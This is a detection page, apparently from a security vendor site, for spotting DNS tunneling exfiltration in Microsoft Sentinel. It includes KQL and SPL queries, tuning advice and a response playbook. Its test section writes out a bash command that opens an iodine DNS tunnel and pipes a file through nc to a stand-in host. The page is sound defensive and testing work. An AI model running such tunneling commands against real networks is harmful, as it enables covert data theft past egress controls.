THREAT-DNSTunnel-Exfil Microsoft Sentinel · KQL

Detect DNS Tunneling for Covert Data Exfiltration in Microsoft Sentinel

DNS tunneling encodes stolen data inside the query names (and occasionally TXT/NULL record responses) of DNS lookups, exploiting the fact that DNS is almost universally permitted outbound even in tightly filtered network environments. OilRig/APT34 has repeatedly built DNS-based communication into its custom malware families, using DNS resolution as both a C2 and exfiltration channel to survive proxy and firewall egress controls. FIN7 has used DNS tunneling against point-of-sale and retail environments where HTTP(S) egress was more tightly monitored than DNS. APT41 has deployed publicly available DNS tunneling frameworks such as dnscat2 during intrusions where direct HTTP(S) exfiltration was blocked. Commodity tooling in this space — iodine, dnscat2, DNSExfiltrator, and PacketWhisper — all share the same observable signature: large volumes of DNS queries for subdomains of an attacker-controlled domain, where the subdomain label itself is a base32/base64/hex-encoded chunk of stolen data, together with an abnormal skew toward TXT/NULL/CNAME query types and elevated NXDOMAIN rates (since many tunneling implementations use non-existent subdomains purely as a data-carrying vehicle). This detection deliberately focuses on DNS query-log analytics rather than endpoint process telemetry, since it catches tunneling traffic that a purely process-based detection would miss (e.g., DNS tunneling from a compromised network appliance, or malware that resolves names via direct socket calls rather than a monitored DNS client process) and is a good complement to the process-execution-based detections already covered on the parent T1048.003 page.

MITRE ATT&CK

Tactic
Exfiltration

KQL Detection Query

Microsoft Sentinel (KQL)
kusto
// DNS tunneling detection using MDE DeviceEvents DNS telemetry
let LookbackWindow = 1h;
let MinLabelLength = 30; // long subdomain labels are the primary DNS-tunneling tell
let MinQueriesPerDomain = 50; // volume threshold for suspected tunneling over the window
DeviceEvents
| where Timestamp > ago(LookbackWindow)
| where ActionType == "DnsQueryResponse"
| extend QueryName = tostring(parse_json(AdditionalFields).QueryName)
| extend QueryType = tostring(parse_json(AdditionalFields).QueryType)
| extend ResponseCode = tostring(parse_json(AdditionalFields).ResponseCode)
| where isnotempty(QueryName)
| extend Labels = split(QueryName, ".")
| extend LeftmostLabel = tostring(Labels[0])
| extend LeftmostLabelLength = strlen(LeftmostLabel)
| extend RegisteredDomain = strcat_array(array_slice(Labels, -2, -1), ".")
| summarize
    QueryCount = count(),
    UniqueSubdomains = dcount(QueryName),
    AvgLabelLength = avg(LeftmostLabelLength),
    MaxLabelLength = max(LeftmostLabelLength),
    TxtNullCnameCount = countif(QueryType in ("TXT", "NULL", "CNAME")),
    NxDomainCount = countif(ResponseCode =~ "NXDOMAIN"),
    Devices = make_set(DeviceName, 10)
  by RegisteredDomain, bin(Timestamp, 5m)
| where UniqueSubdomains >= MinQueriesPerDomain and AvgLabelLength >= MinLabelLength
| extend TunnelScore = (UniqueSubdomains / 10) + (AvgLabelLength / 5) + (TxtNullCnameCount * 2) + (NxDomainCount)
| sort by TunnelScore desc
high severity medium confidence

Detects DNS tunneling by analysing DNS query telemetry (DeviceEvents ActionType == 'DnsQueryResponse') for the classic tunneling fingerprint: a high count of unique, long-labelled subdomains under a single parent domain within a short window, an elevated share of TXT/NULL/CNAME query types (the record types tunneling tools favour for higher per-query data capacity), and an elevated NXDOMAIN rate (many tunneling implementations do not require the queried name to resolve). DNS-specific fields are extracted from the AdditionalFields dynamic column. Tune MinLabelLength and MinQueriesPerDomain to your environment's baseline before enabling as a blocking alert.

Data Sources

Microsoft Defender for Endpoint (DeviceEvents — DNS query telemetry)DNS server analytical/debug logsRecursive resolver query logs

Required Tables

DeviceEvents

False Positives & Tuning

  • Content Delivery Networks and cloud services that legitimately use long, high-cardinality subdomains (e.g., certificate transparency-related lookups, some CDN edge routing) — baseline and allowlist known high-volume legitimate parent domains
  • Anti-malware and threat-intel feeds performing legitimate DNS sinkhole/reputation lookups against large domain lists
  • Software update mechanisms or telemetry clients that use per-device unique subdomains for rollout cohorting (some Microsoft and Google services do this) — allowlist known vendor domains
  • Email security gateways performing SPF/DKIM/DMARC TXT record lookups at volume, which can appear as elevated TXT query share

Other platforms for THREAT-DNSTunnel-Exfil


Testing Methodology

Validate this detection against 1 adversary technique from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulate DNS Tunneling Data Exfiltration via iodine

    Expected signal: DNS query logs showing a burst of long, base32-encoded subdomain queries against tunnel.testdomain.example with a high proportion of NULL/TXT query types.


Response Playbook

Triage

  1. Identify the registered parent domain receiving the high volume of long-labelled subdomain queries — WHOIS/passive DNS on that domain is the fastest way to assess whether it is attacker infrastructure versus a legitimate high-cardinality service.
  2. Pull a sample of the actual query names (not just aggregate counts) and attempt to decode the leftmost label as base32/base64/hex — successful decoding into readable or structured data is strong confirmation of tunneling rather than a false positive.
  3. Identify the source host(s)/device(s) generating the queries and check what DNS client or process issued them (recursive resolver logs may show only the resolver's IP, not the origin process, so correlate with endpoint DNS client telemetry where available).
  4. Estimate exfiltrated volume: each query typically carries a bounded number of encoded bytes in its label (commonly 30-60 bytes for tools like iodine/dnscat2) — multiply by UniqueSubdomains for a rough data-volume estimate.
  5. Check for co-located indicators: DNS tunneling is very often paired with the same host showing DeviceProcessEvents activity for iodine.exe, dnscat, or similar tools (see T1048.003 process-based detections) — confirm both signals together before escalating as high-confidence.

Containment

  1. Block DNS resolution for the identified attacker-controlled parent domain at the internal recursive resolver / firewall as an immediate containment step.
  2. Isolate the source host via EDR if the tunneling is confirmed to be actively carrying data, particularly if paired with process-level tool indicators.
  3. Consider temporarily restricting DNS record types to A/AAAA-only for the affected network segment if TXT/NULL abuse is confirmed and business impact of doing so is acceptable.
  4. Capture a PCAP of ongoing DNS traffic to the suspicious domain before blocking, to preserve evidence of the full tunnel session for scope assessment.
  5. Notify data protection/legal if volume estimates suggest meaningful data loss, particularly for regulated data categories.

Evidence Collection

  1. Full list of queried subdomains under the suspicious parent domain, with timestamps and source IP/device
  2. DNS response data (TXT/NULL record contents if captured) — many tunneling tools carry return-channel data in the response, not just the query
  3. Passive DNS / WHOIS history for the parent domain to establish registration date and any prior reputation flags
  4. Endpoint process telemetry for the source host around the same time window, to identify the DNS-tunneling client process if present
  5. Network PCAP of the DNS session if full packet capture is available

Escalation Criteria

  • !Successful decoding of query labels into structured or sensitive data confirms active exfiltration
  • !Tunneling volume estimate exceeds a meaningful data-loss threshold (e.g., >10MB equivalent based on query count and label size)
  • !Tunneling traffic is correlated with a host also showing credential-access or collection-phase indicators
  • !The destination domain has no plausible legitimate business relationship with the organisation

Investigation Guide

Related Techniques

Forensic Artifacts

  • >Recursive resolver / DNS server query logs showing the full history of subdomain queries to the suspicious parent domain
  • >PCAP of DNS traffic, including response payloads for TXT/NULL record types
  • >Endpoint artifacts for the DNS-tunneling client binary if present (iodine, dnscat2, DNSExfiltrator) — check Prefetch, process execution logs, and file creation timestamps
  • >Passive DNS history (e.g., via a threat-intel platform) for the parent domain's resolution history and hosting infrastructure
  • >Any local configuration file for the tunneling client (iodine typically requires a shared secret/password supplied on the command line, visible in process command-line logging)

Tuning Guidance

Start by baselining your environment's legitimate high-cardinality DNS traffic (CDN edge routing, telemetry rollout cohorting, certificate transparency lookups) over at least a week, and build an explicit allowlist of those parent domains — without it, this detection generates significant noise. Once the allowlist is in place, treat any new, unallowlisted domain crossing the unique-subdomain and label-length thresholds as a priority investigation, since legitimate business reasons for high-volume long-label DNS queries to an unfamiliar domain are rare. If your environment has security-vetted DNS filtering (e.g., a DNS security service blocking known-bad domains), correlate blocked-query counts as an additional signal — attacker tunneling domains are often not yet in commercial reputation feeds.


Hunting Queries

Hunt over 7 days for any parent domain receiving an unusually high count of unique subdomain queries — establishes a baseline of legitimate high-cardinality domains (CDNs, telemetry) to allowlist, and surfaces any domain that doesn't fit an expected legitimate pattern for deeper investigation.

Hunting — KQL
kql
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "DnsQueryResponse"
| extend QueryName = tostring(parse_json(AdditionalFields).QueryName)
| where isnotempty(QueryName)
| extend RegisteredDomain = strcat_array(array_slice(split(QueryName, "."), -2, -1), ".")
| summarize UniqueSubdomains=dcount(QueryName), Devices=dcount(DeviceName) by RegisteredDomain
| where UniqueSubdomains > 200
| sort by UniqueSubdomains desc
Hunting — SPL
spl
index=network sourcetype="zeek:dns" earliest=-7d
| eval registered_domain=mvjoin(mvindex(split(query, "."), -2, -1), ".")
| stats dc(query) AS UniqueSubdomains, dc(id.orig_h) AS SourceCount BY registered_domain
| where UniqueSubdomains > 200
| sort - UniqueSubdomains

Atomic Red Team Tests

Test 1 Simulate DNS Tunneling Data Exfiltration via iodine
linux

Uses iodine to establish a DNS tunnel to a test domain and transfer a small amount of dummy data, simulating the DNS tunneling technique used by OilRig and other actors. Requires a test domain with an authoritative NS record pointing at the iodine server for realistic telemetry.

Command

bash
echo 'test exfil payload' > /tmp/exfil_test.txt && iodine -f -P testpassword tunnel.testdomain.example 10.0.0.1 && cat /tmp/exfil_test.txt | nc 10.0.0.1 5353

Cleanup

bash
rm -f /tmp/exfil_test.txt && pkill iodine

Expected Telemetry

DNS query logs showing a burst of long, base32-encoded subdomain queries against tunnel.testdomain.example with a high proportion of NULL/TXT query types.

Expected Detection

Alert fires on the DNS tunneling detection query once UniqueSubdomains and AvgLabelLength thresholds for the parent domain are exceeded within the 5-minute window.

Related Detections